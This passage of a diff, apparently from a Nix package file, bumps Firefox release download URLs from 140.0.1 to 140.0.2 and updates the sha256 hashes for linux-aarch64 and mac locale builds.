       arch = "linux-aarch64";
-      sha256 = "aebe6bba0b947dd49dac479f6f0f8c6ab523d60719c33410b9442b56be3ac457";
+      sha256 = "cc939b62ba033f6a3d17a11d14801dce7716dfdfeddb5eb5769caa764939e7cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kk/firefox-140.0.2.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "4599d95a94c00268bb8813cf2b12436ef1aa59565f20c372ecb5b8c6e58be060";
+      sha256 = "4a4ed5cf84893e41d019cc91d5cef7e1698fcb9f05f864c5f4c188b299598659";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/km/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/km/firefox-140.0.2.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "440a777621eeefbea1b3bd9150c994d1a9dd0743f823076f5ba1d9aa3bbb237a";
+      sha256 = "e3e73438fa30248f33a0a621111e631f29a55212beefe6beb4f2f384e23a81f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/kn/firefox-140.0.2.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "256d669d0601afb810e79c273e96c24255616729d2a958158766a6485739a3ee";
+      sha256 = "66a029df919aed8f4b53933026e1f93739c51be1f30e7cc81ea4590f1e39c298";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ko/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ko/firefox-140.0.2.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "125723bf51c14a3123e5a59e21bb40a07e79a8c7a34f9ca19bdc2828e15de210";
+      sha256 = "f0f7d754973ec609b1470cf6dfe3a34f6bc7bd70462e84c7ef242545319d3f02";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lij/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lij/firefox-140.0.2.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "3b54e73c497873bda4647c6122a07ba062d38ed8c08c1e6958532203a322d17f";
+      sha256 = "be3bcc8f66c9f5122ff7dbcb938bbb37680ff8748e224f5eaff6d524a670b194";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lt/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lt/firefox-140.0.2.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "198df6f35f194011ae51e1e7fe93c42650f0595f7dd24b9a4a57b3a617906b56";
+      sha256 = "4b9c1f9a885a8d9da5beeeb0d6e4a0bd62b3f08489b917eb829a3c04b0531ece";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lv/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/lv/firefox-140.0.2.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "eeb14f78652a43ca179973947fba112c0a6647f22e60bb09ca1d5b5851a2090a";
+      sha256 = "0247b0c0c095965b575c0dcc46b5edf736809898f7b9681b45de4fe942696a11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/mk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/mk/firefox-140.0.2.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "6e5fe1564578cc113ae94051e660e526298f07eb5e9d3a86a0eb0aabf808663f";
+      sha256 = "206eaf35b9072a9d292ac23b56697fb51edfc2c7de1264a3c61c8a3cc7d5ce6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/mr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/mr/firefox-140.0.2.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "9fb46906a13bc5567182b3b1ef5df0263173a69be8a782b880a40377e4581123";
+      sha256 = "3527c344bdae74ea526ef94ad754fb097ab58bc98fdc4d01edda40ddf18e5e4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ms/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ms/firefox-140.0.2.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "18124f5a2d1d83b6725c7ffad055eda805db7c775996a9861faed2325f8477b0";
+      sha256 = "768c930eb1c362fe12cc0c0e11b2e0795188062edb10ae40d910b45ad1a4a7b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/my/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/my/firefox-140.0.2.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "d94ed1d3c8f7cbfd3dddf68f86bb6626b8fb0bbc885824cdd6ae5e4fb1dc6e38";
+      sha256 = "d7a6ffa05d026edb92152e89cd211b3298b319ee463329209a2ee90912544f63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nb-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nb-NO/firefox-140.0.2.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "512479d30538f6d206af9c07cc426a65a56c4177c7eb1d12d5b63f24a49fd2f1";
+      sha256 = "72dbebb852bc552393c5d835db3e8e9bb4cf138b3808d71f5f7d0e1f5c13e189";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ne-NP/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ne-NP/firefox-140.0.2.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "596c4cca41491bb9244c5d44748491e9df99d8c9018fd1bfbbfc100a56093cc0";
+      sha256 = "366eb396838b66a85265295cc32f164744de3e9ea00f4c14d25f9786376c975d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nl/firefox-140.0.2.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "b01b4db6c90ff19dc5918a6e11ebc10892f61536f7b482953ab824b030bb15d3";
+      sha256 = "cdd3ebe6b2a5edaaab379d9874348dc5a23d7a2181b53341e36ad35618a1e888";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nn-NO/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/nn-NO/firefox-140.0.2.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "eeda843410a96f1f29e4fea2626a522cb5d57b856ff9363e71f974f4345b3c99";
+      sha256 = "85384d922fd19490787094b01f3bbdeedc41a530d666d332b4c10de7656dc86d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/oc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/oc/firefox-140.0.2.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "df94f8b914384000391bfc7cc06b8cd6f49663b0cb73dcbc90513aafecd3ed1c";
+      sha256 = "bd4e1f17b29088be579066bb0dcb1ff7ac8bfee3754c1c92cf52054eae099fba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pa-IN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pa-IN/firefox-140.0.2.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "c5b06423d2f2f96a4e990e3f0ee138e66e043512b5c6fa78119054f7841fa08a";
+      sha256 = "7313e0f2ff8a1ae98e0a039d34e82e44285124986b0e927e7980911680986bf7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pl/firefox-140.0.2.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "35c03baeebfd48abdbabfa8d0ebbada67f8172f90c0ebe2a66b81b1bcd06ae5e";
+      sha256 = "f826a02e8892a7b047801f2c71a3ab4cc075ae85094a539992b9e81cf2fe7937";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pt-BR/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pt-BR/firefox-140.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "dd8ad39a96bff5e73a42f4c97754dd9518e1880eee97baf3585c5df5f5a04a61";
+      sha256 = "e63a251db1651962d1668c04bb8500202acc4b2f3ac7670cef753abad7b5a9cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pt-PT/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/pt-PT/firefox-140.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "39e99f96fd2de4a5097fbe9d8ae02fa7f42c7fc2379d593e0b787a443088350c";
+      sha256 = "62ad73606fb65b1ff449458ce80a3cab5ec58e39c5a0d005084618ca048ba336";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/rm/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/rm/firefox-140.0.2.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "dd6b6a3a29e16c408a227cd2609214395dc65808c14e7a3224d419d4cfe00b0d";
+      sha256 = "13e46725dc1319390a0c13ac73ce168bbe7bdb503f922732e843d48bc7e9573a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ro/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ro/firefox-140.0.2.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "da6a05c552fe2a913d16239131c33c980a89ec16270e003c107cc34e04b4d377";
+      sha256 = "550ee056c745731b9afb560da322f7140ebfca15668cb1b3e6f59157ef7c4832";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ru/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ru/firefox-140.0.2.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "89624eeb629c561bcf1ee2f9c25dcc95d8806cb5539527cbe3c60e7e970d4e24";
+      sha256 = "109d09e5c113113f47fcffa95dbe81351560bd2eb294386f1674ce1dbf231a98";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sat/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sat/firefox-140.0.2.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "b23c995a72f8e88c64222a2623e5846b44560dd1f698ee2994618a89ccba73d9";
+      sha256 = "9c3260546b5c817569d4432220c3275c2007b2e760205a51f81ad1433520d997";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sc/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sc/firefox-140.0.2.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "95c39cc43f5c0bcf63fe75b536acfa8d7f16657838218a77fee3cf36a122b5e5";
+      sha256 = "eb3e73f36a65e63c8105eb29b061f921c9cbbed2c50aef516449e47362d6f9d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sco/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sco/firefox-140.0.2.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "d434afa3d817aa438620d975bb4a61ead1630297cd24c871b224b860313bc3a3";
+      sha256 = "383b3243dfa89feb7dd4f5fdace236b4596f53ebed52a995c4d9054ae640cc39";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/si/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/si/firefox-140.0.2.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "5d630b7d8fa02835d1b66154aabe6ceefc2fc9d5dddb7184b8889666a49dea30";
+      sha256 = "f366ec7b5caa7a4ee2e7923b2c8df9a189c79eb2106e119c12199b4896950e79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sk/firefox-140.0.2.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "f535e002711c9a2a611f6b1bb25b3d49fe3f1735a536359d84f3b29e1e54f75a";
+      sha256 = "5708162af87f18029c6b3848863134757ea5c4fa535b826fab806c91e83cde96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/skr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/skr/firefox-140.0.2.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "6b1e7d1eb38c1c8c289d177f3c026329a43604f802664b4bb4211de14111308e";
+      sha256 = "8c21d972204624475aa318317920ba97f126baa68597c392074f28db7b99481d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sl/firefox-140.0.2.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "619c870425c7f066e35bb0f462cae99634d60d7def3c93f14ad0cafb3da27914";
+      sha256 = "fbf31ed1eb9123000cee497d0eeabb6b7606ce7192c4012599b48fdbe927a6d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/son/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/son/firefox-140.0.2.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "b40b4224a38a30c80d55ce0e2b7dc01e817783f14b3bcedb12c9605a692ce96b";
+      sha256 = "d34fa4727aab2968431b82689bc377ed4910a5705f90c1987c7a5162c048c18e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sq/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sq/firefox-140.0.2.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "29b1deac09f49a4629a772d52bd8798144fc5b9fdb2dba2c57ac548c0d51ed06";
+      sha256 = "73e52de711ac363c7d57dcde927218a1b3ee7ecfcdd35ddc8401a179cc1f227a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sr/firefox-140.0.2.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "8bb742044ed9820cd4855a4b3fe45bb4fa8d12619d9e66c3f1619c9888dd392c";
+      sha256 = "caf52538031e6ede5ec3e2ccf49e1f5fe1290f983acbfef646a4bea4f5282a5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/sv-SE/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/sv-SE/firefox-140.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "cfa92310bf604dfa7a00ee97427344d6506ea946da5c2ce77ac0c7bdd3e6b54f";
+      sha256 = "db5b48657124df020d908baf8cc109ca21106688e6f5bd3267d685f880a82771";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/szl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/szl/firefox-140.0.2.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "0ea4761e9979bb9c8f56458d300058c1a673064adceae6c30a7d6461c47e2565";
+      sha256 = "7be844802660121db0839025adcd4e89bcc2b5aa6b370aae1ced4828354b0062";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ta/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ta/firefox-140.0.2.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "0606865345b898a6711af7eaaeea086eed0ad327b7bc1b2df46499648c3dc8b3";
+      sha256 = "82a540f8815ba0b57c1de7e0b517a02a62f45082e459edc9b3826c49bf580fe4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/te/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/te/firefox-140.0.2.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "8ca19359781e0e98883958c12ccdf04056d713a190ac929e24a55b688fb7fe99";
+      sha256 = "e49a728c482bff5e228be569ca3e324d6cf474a46afe19108862bee644bf67ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tg/firefox-140.0.2.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "c4391f504b4eac8d0d86a50f2b4a906eab2207c0d82b3e79a87d6f5134115174";
+      sha256 = "92f4c0c21b56171b5f363bea89b432e3b83c16ddb6616e51e7299de549fa9a2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/th/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/th/firefox-140.0.2.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "df9beaca1a8075879876bea550dbf8c879157f73b870da016a7cce6c8f09f5aa";
+      sha256 = "6792bf0e6b4eeec6f0f80471af31d6baec14062fd32e2ae72fcd5825068f8a1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tl/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tl/firefox-140.0.2.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "982240f984756b93320a5b0e3d5ff4bac71676208a5d05981574b3ca921bb7ef";
+      sha256 = "2420037d652bdfb12d694d68e451718dea3ea258f3be4c486bd3316be35a2902";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/tr/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/tr/firefox-140.0.2.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "c1fbae917d436b695dc98d452bb52a7a0b05ec1af9aad631bcb016ca4cce1d2f";
+      sha256 = "69b810b14fe46164284dc9602f2fb88ae622bb1ba4e03b0f1e7b4f89fd201146";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/trs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/trs/firefox-140.0.2.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "95c80a16a0d11c345ec57b15b1df041657cbb079d0ec489022440f397f555256";
+      sha256 = "c49e310f81d95bf37b7bb8152aeb1b8c535144b52a4919e3a2e61fbde8773754";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/uk/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/uk/firefox-140.0.2.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "fcd64cc84c6c921e04ea68a07ea0dc7f4c8f8f5b013a64963e9d9b8c8cc18c50";
+      sha256 = "c1e445c804fe7b566e125adadb72dd55d2b08c9bc1ce28b678a24d624226aa9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ur/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/ur/firefox-140.0.2.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "0743e59066415ddd9d7c1059271f1c20cd5c097424c26aefc34b2102dae4f8d3";
+      sha256 = "efdda791f75069b2eb6fd737422838ade0fa18ca8aae5ab2f49e04dafb339ed2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/uz/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/uz/firefox-140.0.2.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "fa6728c01d3f51b5a5a9bf7c270f68cfe066e5e080125f1e1647964c238213a9";
+      sha256 = "0281f34c78b6b3d8a3e8fdc71b5b135561d596bd8180c18f43f0404d37d5a7d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/vi/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/vi/firefox-140.0.2.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "04d3286ab2173ff47fea50d6f40c52426c8be67ecdd578317779e5196c78461a";
+      sha256 = "5d5a845b80a0df049ce65906cb60551c553f9ab538f201a3eb7f0a822616a8ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/xh/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/xh/firefox-140.0.2.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "5961a8d5184c5364aab2babc468d38b7922784b4c44c3c9d63d1e8f918f8c6ee";
+      sha256 = "0ed1c80605c82f1511a4f5b6c892d88afa5e7f3bf095c6c374edc43ba3e103dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/zh-CN/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/zh-CN/firefox-140.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "dcf81e3448d1ba28d85d86c568caf8ee36bf69b06c84bf18c087d014dc0099a1";
+      sha256 = "890869cf44d6740f0b0eba54fe2874ae10d388dde3df3770884bf8e66bca1658";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/zh-TW/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-aarch64/zh-TW/firefox-140.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "672478b1977c30d8da79958627ba4996c631f7a4e8e26b82ee35957a449cb67f";
+      sha256 = "366b0dd0028f090bb1220cc49782cfc77fe661b82a2a8db63d1bcc6fd8039d24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ach/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ach/Firefox%20140.0.2.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "5c1d1afe82a731fc192a6d9bb13046cd30739fed3f4560ea9796405b19f9400b";
+      sha256 = "9574083c5f10dea1715bdfc957afe01c57f4bfe6a3d0bd78e29a785aa3609836";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/af/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/af/Firefox%20140.0.2.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "b8c659f7b19da372c1e38d6766f7f82f777dc55736a808b17cd3e19be5d68dbf";
+      sha256 = "510deda8544c99cc97eb1255ab6e26e9ca3e4e06ff0ed97e7cf93ab56f3fb001";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/an/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/an/Firefox%20140.0.2.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "a14cef26c700f43c2622220a24b7424f00ee60a73fff54539f6b45c1c8120b6c";
+      sha256 = "53215a5f12b40b52e804f0a0b5c64a609f716666eaa39f22f946b8d4014b69c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ar/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ar/Firefox%20140.0.2.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "da7993d4e8df2c051b58952303f92ed7c3320abad121fe45adea1182feb8b0aa";
+      sha256 = "d9e3f0f824e12631af03db167da0206035700e5e7b208946603b05b1ef249683";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ast/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ast/Firefox%20140.0.2.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "0112f5b3ff5780d8cf584dca83f5762ca20a986e053a7b1a07a16e26f4364c13";
+      sha256 = "05ed457716c070a24292ca555464b7ab440608d39d9924c943e1e8f8733cf358";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/az/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/az/Firefox%20140.0.2.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "d7d7bb02c49e4e6e87f33eb07654f1ec266dca6758331d0614fe137742cbb59b";
+      sha256 = "0a648dd41a97264cc682cf4550c5c19ae3c7ba0f0943cb946926b8af4fce0aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/be/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/be/Firefox%20140.0.2.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "c2a2c9bc4dd90b50bb5762400669aec88f422e2636fff47478a008c061a52400";
+      sha256 = "bc161c0b3b4a7d05c17a980dad54bed45f7cb49f8bc9461eb6f8425da9c7e730";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bg/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bg/Firefox%20140.0.2.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "8fa624216f9e3bcb83ab3d8f4b3a2407476f69d0fc6557a7bb64ec48f98131c5";
+      sha256 = "448e17c970925dbd6afd049817b09bc673ce112a9bef20345f2bab70a74b1471";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bn/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bn/Firefox%20140.0.2.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "a252c9306302af6979f8a886b0108085f47cd889bab89f7dc1f809d93ced7efc";
+      sha256 = "4ba478b5d8b4590d1295da6372a39ce340930879c163d1bf02a5f8c43a7bd1a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/br/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/br/Firefox%20140.0.2.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "f25e0f15e11da49b081714856ba05f1975c0c71d8327791c07763842ffef840f";
